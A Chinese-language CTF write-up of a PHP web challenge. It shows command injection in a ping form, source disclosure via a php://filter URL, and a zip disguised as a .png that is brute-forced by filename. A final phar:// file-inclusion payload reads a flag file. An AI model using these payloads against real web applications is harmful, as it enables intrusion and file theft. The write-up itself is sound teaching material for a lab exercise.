最近又水了一个CTF,分享一道web题

打开界面可以看到需要输入一个ip地址 会返回ping结果 所以可以尝试 | 来执行下一个命令 但发现被过滤了

换一个方法

127.0.0.1&dir

找到上传入口

可以看到一个上传和查看源码

查看源码利用的

you_find_upload.php?p=php://filter/convert.base64-encode/resource=you_find_upload

base64解密

<?php
/**
 * Created by PhpStorm.
 * User: xnianq
 * Date: 2017/10/19
 * Time: 上午11:24
 */
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>this_is_upload_page</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="">

    <!-- Le styles -->
    <link href="../css/bootstrap.css" rel="stylesheet">
    <style>
        body {
            padding-top: 60px; /* 60px to make the container go all the way to the bottom of the topbar */
        }
    </style>
    <link href="../css/bootstrap-responsive.css" rel="stylesheet">
    <link rel="apple-touch-icon-precomposed" sizes="144x144" href="./ico/apple-touch-icon-144-precomposed.png">
    <link rel="apple-touch-icon-precomposed" sizes="114x114" href="./ico/apple-touch-icon-114-precomposed.png">
    <link rel="apple-touch-icon-precomposed" sizes="72x72" href="./ico/apple-touch-icon-72-precomposed.png">
    <link rel="apple-touch-icon-precomposed" href="./ico/apple-touch-icon-57-precomposed.png">
    <link rel="shortcut icon" href="./ico/favicon.png">
</head>

<body>

<div class="navbar navbar-inverse navbar-fixed-top">
    <div class="navbar-inner">
        <div class="container">
            <button type="button" class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
            </button>
            <a class="brand" href="#">C1sec工具体验</a>
            <div class="nav-collapse collapse">
                <ul class="nav">
                    <li ><a href="index.php">Home</a></li>
                    <li ><a href="ping.php">ping</a></li>
                    <li ><a href="you_find_upload.php?p=php://filter/convert.base64-encode/resource=you_find_upload">查看源码</a></li>
                </ul>
            </div><!--/.nav-collapse -->
        </div>
    </div>
</div>
<div class="container">
    <h1>少年你还是找到了这里,这才是本次攻击的重点 :)</h1>
    <form action="you_find_upload.php" method="POST" enctype="multipart/form-data">
        <label>Select image to upload:</label>
        <input type="file" name="file">
        <button type="submit" class="btn" name="submit">upload</button>
        <pre>
        <?php
        $type = array('gif','jpg','png');
        mt_srand((time() % rand(1,100000)%rand(1000,9000)));
        echo mt_rand();
        if (isset($_POST['submit'])) {
            $check = getimagesize($_FILES['file']['tmp_name']);
            @$extension = end(explode('.',$_FILES['file']['name']));//后缀
            if(in_array($extension,$type)){
                echo 'File is an image - ' . $check['mime'];//内容头
                $filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name']; 
                move_uploaded_file($_FILES['file']['tmp_name'], $filename);
                echo "<br>\n";
            } else {
                echo "File is not an image";
            }
        }
        if(isset($_GET['p'])){
            if(@preg_match("/\.\.\//",$_GET['p'])){
                echo "你这个孩子,too young too simple";
            }
            else{
               @include $_GET['p'].".php";
            }
        }
        ?>
    </pre>
    </form>
</div> <!-- /container -->

<!-- Le javascript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="../js/jquery-3.2.1.min.js"></script>

</body>
</html>

首先可以看到后端对文件后缀做了白名单验证 加上php版本都没有解析漏洞 最后试了好多方法 半夜想到可以试试伪协议,因为下面可以用文件包含来使用绕过,两种问题必须配合用才可以(感觉好多web题都涉及开伪协议了)

常见php伪协议:

* file:// — 访问本地文件系统

* http:// — 访问 HTTP(s) 网址

* ftp:// — 访问 FTP(s) URLs

* php:// — 访问各个输入/输出流(I/O streams)

* zlib:// — 压缩流

* data:// — 数据(RFC 2397)

* glob:// — 查找匹配的文件路径模式

* phar:// — PHP 归档

* ssh2:// — Secure Shell 2

* rar:// — RAR

* ogg:// — 音频流

* expect:// — 处理交互式的流

所以我们可以写一个读取flag的1.php

<?php 
 $file = fopen('../../../../../../../../etc/flag.txt','r');

    if($file){
        while(!feof($file)){
            $line = fgetc($file);
            echo $line;
        }
    }
    fclose($file);
?>

然后压缩为zip

上传时修改后缀为.png 但type的zip类型不要改

上传成功,继续往下看代码

mt_srand((time() % rand(1,100000)%rand(1000,9000)));

设置了一个文件名的随机数

学长帮写了一个爆破程序

爆破出来 文件名假设最后为305005900_1.png

然后..

继续看代码

else{
               @include $_GET['p'].".php";
            }

一个文件包含,最后会自动加上.php,这也是比较纠结的一个点,最后的解决办法就是上面说的可以配合伪协议使用

(题目的难点就是只能上传图片后缀的文件,但却只能读取.php的文件)

所以最后利用phar解里面的1.php

构造的payload为:

http://xxxx/web1/you_find_upload.php?p=phar://upload/305005900_1.png/1